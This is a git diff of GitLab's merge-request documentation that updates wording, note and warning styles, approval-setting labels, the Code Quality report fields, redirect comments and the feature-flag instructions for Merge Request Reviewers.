For GitLab 12.10 and earlier, the [artifact generated is named `accessibility.json`](https://gitlab.com/gitlab-org/ci-cd/accessibility/-/merge_requests/9).
-NOTE: **Note:**
+NOTE:
For GitLab versions earlier than 12.9, you can use `include:remote` and use a
link to the [current template in `master`](https://gitlab.com/gitlab-org/gitlab/-/raw/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml)
-NOTE: **Note:**
+NOTE:
The job definition provided by the template does not support Kubernetes yet.
It is not yet possible to pass configurations into Pa11y via CI configuration. To change anything,
diff --git a/doc/user/project/merge_requests/allow_collaboration.md b/doc/user/project/merge_requests/allow_collaboration.md
index 4ba0b50a3cf..8eabef982c8 100644
--- a/doc/user/project/merge_requests/allow_collaboration.md
+++ b/doc/user/project/merge_requests/allow_collaboration.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
diff --git a/doc/user/project/merge_requests/authorization_for_merge_requests.md b/doc/user/project/merge_requests/authorization_for_merge_requests.md
index 26b3682990e..7bb64987a31 100644
--- a/doc/user/project/merge_requests/authorization_for_merge_requests.md
+++ b/doc/user/project/merge_requests/authorization_for_merge_requests.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts
---
diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md
index 040ca4b439b..04114968c80 100644
--- a/doc/user/project/merge_requests/browser_performance_testing.md
+++ b/doc/user/project/merge_requests/browser_performance_testing.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -44,11 +44,11 @@ between the source and target branches, and shows the information in the merge r
For an example Performance job, see
[Configuring Browser Performance Testing](#configuring-browser-performance-testing).
-NOTE: **Note:**
+NOTE:
If the Browser Performance report has no data to compare, such as when you add the
Browser Performance job in your `.gitlab-ci.yml` for the very first time,
-the Browser Performance report widget won't show. It must have run at least
-once on the target branch (`master`, for example), before it will display in a
+the Browser Performance report widget doesn't show. It must have run at least
+once on the target branch (`master`, for example), before it displays in a
merge request targeting that branch.
![Browser Performance Widget](img/browser_performance_testing.png)
@@ -72,7 +72,7 @@ using Docker-in-Docker.
URL: https://example.com
```
-NOTE: **Note:**
+NOTE:
For versions before 12.4, see the information for [older GitLab versions](#gitlab-versions-123-and-older).
If you are using a Kubernetes cluster, use [`template: Jobs/Browser-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml)
instead.
@@ -81,7 +81,7 @@ The above example creates a `performance` job in your CI/CD pipeline and runs
sitespeed.io against the webpage you defined in `URL` to gather key metrics.
The example uses a CI/CD template that is included in all GitLab installations since
-12.4, but it will not work with Kubernetes clusters. If you are using GitLab 12.3
+12.4, but it doesn't work with Kubernetes clusters. If you are using GitLab 12.3
or older, you must [add the configuration manually](#gitlab-versions-123-and-older)
The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance),
@@ -115,7 +115,7 @@ performance:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27599) in GitLab 13.0.
You can configure the sensitivity of degradation alerts to avoid getting alerts for minor drops in metrics.
-This is done by setting the `DEGRADATION_THRESHOLD` variable. In the example below, the alert will only show up
+This is done by setting the `DEGRADATION_THRESHOLD` variable. In the example below, the alert only shows up
if the `Total Score` metric degrades by 5 points or more:
```yaml
@@ -181,7 +181,7 @@ performance:
### GitLab versions 12.3 and older
Browser Performance Testing has gone through several changes since it's introduction.
-In this section we'll detail these changes and how you can run the test based on your
+In this section we detail these changes and how you can run the test based on your
GitLab version:
- In GitLab 12.4 [a job template was made available](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml).
diff --git a/doc/user/project/merge_requests/cherry_pick_changes.md b/doc/user/project/merge_requests/cherry_pick_changes.md
index d65c005ee34..4e87876b036 100644
--- a/doc/user/project/merge_requests/cherry_pick_changes.md
+++ b/doc/user/project/merge_requests/cherry_pick_changes.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
@@ -35,7 +35,7 @@ request thread crosslinking the new commit and the existing merge request.
Each deployment's [list of associated merge requests](../../../api/deployments.md#list-of-merge-requests-associated-with-a-deployment) will include cherry-picked merge commits.
-NOTE: **Note:**
+NOTE:
We only track cherry-pick executed from GitLab (both UI and API). Support for [tracking cherry-picked commits through the command line](https://gitlab.com/gitlab-org/gitlab/-/issues/202215) is planned for a future release.
## Cherry-picking a commit
diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md
index d50056c9450..5a98338a81b 100644
--- a/doc/user/project/merge_requests/code_quality.md
+++ b/doc/user/project/merge_requests/code_quality.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -45,7 +45,7 @@ Watch a quick walkthrough of Code Quality in action:
<iframe src="https://www.youtube.com/embed/B32LxtJKo9M" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
-NOTE: **Note:**
+NOTE:
For one customer, the auditor found that having Code Quality, SAST, and Container Scanning all automated in GitLab CI/CD was almost better than a manual review! [Read more](https://about.gitlab.com/customers/bi_worldwide/).
See also the Code Climate list of [Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability).
@@ -84,8 +84,8 @@ include:
- template: Code-Quality.gitlab-ci.yml
```
-The above example will create a `code_quality` job in your CI/CD pipeline which
-will scan your source code for code quality issues. The report will be saved as a
+The above example creates a `code_quality` job in your CI/CD pipeline which
+scans your source code for code quality issues. The report is saved as a
[Code Quality report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscodequality)
that you can later download and analyze.
@@ -131,18 +131,18 @@ stages:
- test
```
-TIP: **Tip:**
-This information will be automatically extracted and shown right in the merge request widget.
+NOTE:
+This information is automatically extracted and shown right in the merge request widget.
-CAUTION: **Caution:**
+WARNING:
On self-managed instances, if a malicious actor compromises the Code Quality job
-definition they will be able to execute privileged Docker commands on the runner
+definition they could execute privileged Docker commands on the runner
host. Having proper access control policies mitigates this attack vector by
allowing access only to trusted actors.
### Disabling the code quality job
-The `code_quality` job will not run if the `$CODE_QUALITY_DISABLED` environment
+The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` environment
variable is present. Please refer to the environment variables [documentation](../../../ci/variables/README.md)
to learn more about how to define one.
@@ -185,7 +185,7 @@ job1:
- if: '$CI_COMMIT_TAG' # Run job1 in pipelines for tags
```
-To make these work together, you will need to overwrite the code quality `rules`
+To make these work together, you need to overwrite the code quality `rules`
so that they match your current `rules`. From the example above, it could look like:
```yaml
@@ -228,6 +228,7 @@ with the following properties:
| ---------------------- | -------------------------------------------------------------------------------------- |
| `description` | A description of the code quality violation. |
| `fingerprint` | A unique fingerprint to identify the code quality violation. For example, an MD5 hash. |
+| `severity` | A severity string (can be `info`, `minor`, `major`, `critical`, or `blocker`). |
| `location.path` | The relative path to the file containing the code quality violation. |
| `location.lines.begin` | The line on which the code quality violation occurred. |
@@ -238,6 +239,7 @@ Example:
{
"description": "'unused' is assigned a value but never used.",
"fingerprint": "7815696ecbf1c96e6894b779456d330e",
+ "severity": "minor",
"location": {
"path": "lib/index.js",
"lines": {
@@ -248,22 +250,22 @@ Example:
]
```
-NOTE: **Note:**
+NOTE:
Although the Code Climate spec supports more properties, those are ignored by
GitLab.
-## Code Quality reports **(STARTER)**
+## Code Quality reports
-Once the Code Quality job has completed:
+After the Code Quality job completes:
-- The full list of code quality violations generated by a pipeline is shown in the
- Code Quality tab of the Pipeline Details page.
- Potential changes to code quality are shown directly in the merge request.
The Code Quality widget in the merge request compares the reports from the base and head of the branch,
- then lists any violations that will be resolved or created when the branch is merged.
+ then lists any violations that are resolved or created when the branch is merged.
- The full JSON report is available as a
[downloadable artifact](../../../ci/pipelines/job_artifacts.md#downloading-artifacts)
for the `code_quality` job.
+- The full list of code quality violations generated by a pipeline is shown in the
+ Code Quality tab of the Pipeline Details page. **(STARTER)**
### Generating an HTML report
@@ -341,13 +343,14 @@ is still used.
This can be due to multiple reasons:
- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not
- have anything to compare to yet, so no information can be displayed. Future merge
- requests will have something to compare to.
+ have anything to compare to yet, so no information can be displayed. It only displays
+ after future merge requests have something to compare to.
- Your pipeline is not set to run the code quality job on your default branch. If there is no report generated from the default branch, your MR branch reports will not have anything to compare to.
- If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks),
- nothing will be displayed.
+ nothing is displayed.
- The [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in) CI/CD
setting can cause the Code Quality artifact(s) to expire faster than desired.
+- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request.
- Large `codeclimate.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737).
As a work-around, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types)
that are [ignored by GitLab](#implementing-a-custom-tool). You can:
diff --git a/doc/user/project/merge_requests/code_quality_diff.md b/doc/user/project/merge_requests/code_quality_diff.md
index 0aa108a2e73..2b7b2574ef7 100644
--- a/doc/user/project/merge_requests/code_quality_diff.md
+++ b/doc/user/project/merge_requests/code_quality_diff.md
@@ -3,3 +3,6 @@ redirect_to: 'code_quality.md'
---
This document was moved to [another location](code_quality.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/container_scanning.md b/doc/user/project/merge_requests/container_scanning.md
index a062731ea35..5d61f2b36e8 100644
--- a/doc/user/project/merge_requests/container_scanning.md
+++ b/doc/user/project/merge_requests/container_scanning.md
@@ -3,3 +3,6 @@ redirect_to: '../../application_security/container_scanning/index.md'
---
This document was moved to [another location](../../application_security/container_scanning/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md
index 0495c864335..5adc4ab6b6e 100644
--- a/doc/user/project/merge_requests/creating_merge_requests.md
+++ b/doc/user/project/merge_requests/creating_merge_requests.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
description: "How to create Merge Requests in GitLab."
disqus_identifier: 'https://docs.gitlab.com/ee/gitlab-basics/add-merge-request.html'
@@ -46,7 +46,7 @@ the merge request.
![New Merge Request page](img/new_merge_request_page_v12_6.png)
-TIP: **Tip:**
+NOTE:
You can push one or more times to your branch in GitLab before
creating the merge request.
diff --git a/doc/user/project/merge_requests/csv_export.md b/doc/user/project/merge_requests/csv_export.md
index 52c6f8a8d41..0de9f246ceb 100644
--- a/doc/user/project/merge_requests/csv_export.md
+++ b/doc/user/project/merge_requests/csv_export.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Compliance
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Export Merge Requests to CSV **(CORE)**
@@ -18,7 +18,7 @@ The following table shows what attributes will be present in the CSV.
| Column | Description |
|--------------------|--------------------------------------------------------------|
-| MR ID | MR iid |
+| MR ID | MR `iid` |
| URL | A link to the merge request on GitLab |
| Title | Merge request title |
| State | Opened, Closed, Locked, or Merged |
diff --git a/doc/user/project/merge_requests/dast.md b/doc/user/project/merge_requests/dast.md
index 98a2906e560..37c0d5b4e37 100644
--- a/doc/user/project/merge_requests/dast.md
+++ b/doc/user/project/merge_requests/dast.md
@@ -3,3 +3,6 @@ redirect_to: '../../application_security/dast/index.md'
---
This document was moved to [another location](../../application_security/dast/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/dependency_scanning.md b/doc/user/project/merge_requests/dependency_scanning.md
index bdc1c355016..dd5910121ed 100644
--- a/doc/user/project/merge_requests/dependency_scanning.md
+++ b/doc/user/project/merge_requests/dependency_scanning.md
@@ -3,3 +3,6 @@ redirect_to: '../../application_security/dependency_scanning/index.md'
---
This document was moved to [another location](../../application_security/dependency_scanning/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/fail_fast_testing.md b/doc/user/project/merge_requests/fail_fast_testing.md
index 60f81159394..80bdbce8d2c 100644
--- a/doc/user/project/merge_requests/fail_fast_testing.md
+++ b/doc/user/project/merge_requests/fail_fast_testing.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
diff --git a/doc/user/project/merge_requests/fast_forward_merge.md b/doc/user/project/merge_requests/fast_forward_merge.md
index b021fa6f336..a89acff4bfc 100644
--- a/doc/user/project/merge_requests/fast_forward_merge.md
+++ b/doc/user/project/merge_requests/fast_forward_merge.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md
index 462b8f68ece..cb95daa2cab 100644
--- a/doc/user/project/merge_requests/getting_started.md
+++ b/doc/user/project/merge_requests/getting_started.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, reference
description: "Getting started with Merge Requests."
---
@@ -111,22 +111,23 @@ It is also possible to manage multiple assignees:
- When creating a merge request.
- Using [quick actions](../quick_actions.md#quick-actions-for-issues-merge-requests-and-epics).
-## Reviewer
+### Reviewer
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216054) in GitLab 13.5.
-> - It's [deployed behind a feature flag](../../../user/feature_flags.md), enabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-merge-request-reviewers). **(CORE ONLY)**
+> - It was [deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
+> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49787) on GitLab 13.7.1.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-merge-request-reviewers). **(CORE ONLY)**
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
Requesting a code review is an important part of contributing code. However, deciding who should review
your code and asking for a review are no easy tasks. Using the "assignee" field for both authors and
reviewers makes it hard for others to determine who's doing what on a merge request.
-GitLab's Merge Request Reviewers easily allow authors to request a review as well as see the status of the
+GitLab Merge Request Reviewers easily allow authors to request a review as well as see the status of the
review. By selecting one or more users from the **Reviewers** field in the merge request's right-hand
sidebar, the assigned reviewers will receive a notification of the request to review the merge request.
@@ -134,23 +135,29 @@ This makes it easy to determine the relevant roles for the users involved in the
To request it, open the **Reviewers** drop-down box to search for the user you wish to get a review from.
-### Enable or disable Merge Request Reviewers **(CORE ONLY)**
+#### Enable or disable Merge Request Reviewers **(CORE ONLY)**
-Merge Request Reviewers is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
+Merge Request Reviewers is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can enable it.
+can opt to disable it.
To enable it:
```ruby
+# For the instance
Feature.enable(:merge_request_reviewers)
+# For a single project
+Feature.enable(:merge_request_reviewers, Project.find(<project id>))
```
To disable it:
```ruby
+# For the instance
Feature.disable(:merge_request_reviewers)
+# For a single project
+Feature.disable(:merge_request_reviewers, Project.find(<project id>))
```
### Merge requests to close issues
diff --git a/doc/user/project/merge_requests/img/project_merge_requests_list_view.png b/doc/user/project/merge_requests/img/project_merge_requests_list_view.png
deleted file mode 100644
index 2c86a1ad839..00000000000
--- a/doc/user/project/merge_requests/img/project_merge_requests_list_view.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png b/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png
new file mode 100644
index 00000000000..625d47b1142
--- /dev/null
+++ b/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png
Binary files differ
diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md
index 69276f0677b..6af6cad5cdd 100644
--- a/doc/user/project/merge_requests/index.md
+++ b/doc/user/project/merge_requests/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, reference
---
diff --git a/doc/user/project/merge_requests/license_management.md b/doc/user/project/merge_requests/license_management.md
index ed81eb8ca10..4c598d851a9 100644
--- a/doc/user/project/merge_requests/license_management.md
+++ b/doc/user/project/merge_requests/license_management.md
@@ -3,3 +3,6 @@ redirect_to: '../../compliance/license_compliance/index.md'
---
This document was moved to [another location](../../compliance/license_compliance/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md
index 3ee88275aac..82b5d67ba2b 100644
--- a/doc/user/project/merge_requests/load_performance_testing.md
+++ b/doc/user/project/merge_requests/load_performance_testing.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -43,7 +43,7 @@ The key performance metrics that the merge request widget shows after the test c
- TTFB P95: The 95th percentile for TTFB.
- RPS: The average requests per second (RPS) rate the test was able to achieve.
-NOTE: **Note:**
+NOTE:
If the Load Performance report has no data to compare, such as when you add the
Load Performance job in your `.gitlab-ci.yml` for the very first time,
the Load Performance report widget won't show. It must have run at least
@@ -90,7 +90,7 @@ testing job in GitLab CI/CD. The easiest way to do this is to use the
[`Verify/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml)
template that is included with GitLab.
-NOTE: **Note:**
+NOTE:
For large scale k6 tests you need to ensure the GitLab Runner instance performing the actual
test is able to handle running the test. Refer to [k6's guidance](https://k6.io/docs/testing-guides/running-large-tests#hardware-considerations)
for spec details. The [default shared GitLab.com runners](../../gitlab_com/#linux-shared-runners)
@@ -119,7 +119,7 @@ An example configuration workflow:
The above example creates a `load_performance` job in your CI/CD pipeline that runs
the k6 test.
-NOTE: **Note:**
+NOTE:
For Kubernetes setups a different template should be used: [`Jobs/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml).
k6 has [various options](https://k6.io/docs/using-k6/options) to configure how it will run tests, such as what throughput (RPS) to run with,
diff --git a/doc/user/project/merge_requests/maintainer_access.md b/doc/user/project/merge_requests/maintainer_access.md
index fe7e1f558c7..29afff289fd 100644
--- a/doc/user/project/merge_requests/maintainer_access.md
+++ b/doc/user/project/merge_requests/maintainer_access.md
@@ -3,3 +3,6 @@ redirect_to: 'allow_collaboration.md'
---
This document was moved to [another location](allow_collaboration.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/merge_request_approvals.md b/doc/user/project/merge_requests/merge_request_approvals.md
index 4b4c930c7af..01de98edeac 100644
--- a/doc/user/project/merge_requests/merge_request_approvals.md
+++ b/doc/user/project/merge_requests/merge_request_approvals.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, concepts
---
@@ -58,7 +58,7 @@ or choose more than one. Single approval rules are available in GitLab Starter a
while [multiple approval rules](#multiple-approval-rules) are available in
[GitLab Premium](https://about.gitlab.com/pricing/) and above.
-NOTE: **Note:**
+NOTE:
On GitLab.com, you can add a group as an approver if you're a member of that group or the
group is public.
@@ -155,7 +155,7 @@ To add or edit the default merge request approval rule:
1. Click **Add approval rule**, or **Edit**.
- Add or change the **Rule name**.
- - Set the number of required approvals in **No. approvals required**. The minimum value is `0`.
+ - Set the number of required approvals in **Approvals required**. The minimum value is `0`.
- (Optional) Search for users or groups that will be [eligible to approve](#eligible-approvers)
merge requests and click the **Add** button to add them as approvers. Before typing
in the search field, approvers will be suggested based on the previous authors of
@@ -167,7 +167,7 @@ To add or edit the default merge request approval rule:
Any merge requests that were created before changing the rules will not be changed.
They will keep the original approval rules, unless manually [overridden](#editing--overriding-approval-rules-per-merge-request).
-NOTE: **Note:**
+NOTE:
If a merge request targets a different project, such as from a fork to the upstream project,
the default approval rules will be taken from the target (upstream) project, not the
source (fork).
@@ -191,7 +191,7 @@ the same steps as [Adding / editing a default approval rule](#adding--editing-a-
MR approvals can be configured to be optional.
This can be useful if you're working on a team where approvals are appreciated, but not required.
-To configure an approval to be optional, set the number of required approvals in **No. approvals required** to `0`.
+To configure an approval to be optional, set the number of required approvals in **Approvals required** to `0`.
You can also set an optional approval rule through the [Merge requests approvals API](../../../api/merge_request_approvals.md#update-merge-request-level-rule), by setting the `approvals_required` attribute to `0`.
@@ -252,7 +252,7 @@ one of the following is possible:
![Remove approval](img/remove_approval.png)
-NOTE: **Note:**
+NOTE:
The merge request author is not allowed to approve their own merge request if
[**Prevent author approval**](#allowing-merge-request-authors-to-approve-their-own-merge-requests)
is enabled in the project settings.
@@ -273,7 +273,7 @@ Regardless of the approval rules you choose for your project, users can edit the
request, overriding the rules you set as [default](#adding--editing-a-default-approval-rule).
To prevent that from happening:
-1. Uncheck the **Can override approvers and approvals required per merge request** checkbox.
+1. Uncheck the **Allow overrides to approval lists per merge request (MR).** checkbox.
1. Click **Save changes**.
#### Resetting approvals on push
@@ -282,11 +282,11 @@ You can force all approvals on a merge request to be removed when new commits ar
pushed to the source branch of the merge request. If disabled, approvals will persist
even if there are changes added to the merge request. To enable this feature:
-1. Check the **Remove all approvals in a merge request when new commits are pushed to its source branch**
+1. Check the **Require new approvals when new commits are added to an MR.**
checkbox.
1. Click **Save changes**.
-NOTE: **Note:**
+NOTE:
Approvals do not get reset when [rebasing a merge request](fast_forward_merge.md)
from the UI. However, approvals will be reset if the target branch is changed.
@@ -298,7 +298,7 @@ By default, projects are configured to prevent merge requests from being approve
their own authors. To change this setting:
1. Go to your project's **Settings > General**, expand **Merge request approvals**.
-1. Uncheck the **Prevent approval of merge requests by merge request author** checkbox.
+1. Uncheck the **Prevent MR approval by the author.** checkbox.
1. Click **Save changes**.
Note that users can edit the approval rules in every merge request and override pre-defined settings unless it's set [**not to allow** overrides](#prevent-overriding-default-approvals).
@@ -310,14 +310,14 @@ Note that users can edit the approval rules in every merge request and override
You can prevent users that have committed to a merge request from approving it. To
enable this feature:
-1. Check the **Prevent approval of merge requests by their committers** checkbox.
+1. Check the **Prevent MR approvals from users who make commits to the MR.** checkbox.
1. Click **Save changes**.
#### Require authentication when approving a merge request
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5981) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.0.
-NOTE: **Note:**
+NOTE:
To require authentication when approving a merge request, you must enable
**Password authentication enabled for web interface** under [sign-in restrictions](../../admin_area/settings/sign_in_restrictions.md#password-authentication-enabled).
in the Admin area.
@@ -327,7 +327,7 @@ the approval. This enables an Electronic Signature for approvals such as the one
by [CFR Part 11](https://www.accessdata.fda.gov/scripts/cdrh/cfdocs/cfcfr/CFRSearch.cfm?CFRPart=11&showFR=1&subpartNode=21:1.0.1.1.8.3)).
To enable this feature:
-1. Check the **Require user password to approve** checkbox.
+1. Check the **Require user password for approvals.** checkbox.
1. Click **Save changes**.
### Security approvals in merge requests **(ULTIMATE)**
diff --git a/doc/user/project/merge_requests/merge_request_dependencies.md b/doc/user/project/merge_requests/merge_request_dependencies.md
index bca9df9ae2b..4a596ed6139 100644
--- a/doc/user/project/merge_requests/merge_request_dependencies.md
+++ b/doc/user/project/merge_requests/merge_request_dependencies.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
@@ -15,7 +15,7 @@ Merge request dependencies allows a required order of merging
between merge requests to be expressed. If a merge request "depends on" another,
then it cannot be merged until its dependency is itself merged.
-NOTE: **Note:**
+NOTE:
Merge requests dependencies are a **PREMIUM** feature, but this restriction is
only enforced for the dependent merge request. A merge request in a **CORE** or
**STARTER** project can be a dependency of a **PREMIUM** merge request, but not
diff --git a/doc/user/project/merge_requests/merge_request_discussion_resolution.md b/doc/user/project/merge_requests/merge_request_discussion_resolution.md
index a554d727ca4..f8d15f31875 100644
--- a/doc/user/project/merge_requests/merge_request_discussion_resolution.md
+++ b/doc/user/project/merge_requests/merge_request_discussion_resolution.md
@@ -3,3 +3,6 @@ redirect_to: '../../discussions/index.md'
---
This document was moved to [another location](../../discussions/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/merge_when_build_succeeds.md b/doc/user/project/merge_requests/merge_when_build_succeeds.md
index e37dad098f1..48d32d2882f 100644
--- a/doc/user/project/merge_requests/merge_when_build_succeeds.md
+++ b/doc/user/project/merge_requests/merge_when_build_succeeds.md
@@ -5,3 +5,6 @@ redirect_to: 'merge_when_pipeline_succeeds.md'
This document was moved to [merge_when_pipeline_succeeds](merge_when_pipeline_succeeds.md).
>[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7135) by the "Rename MWBS service to Merge When Pipeline Succeeds" change.
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
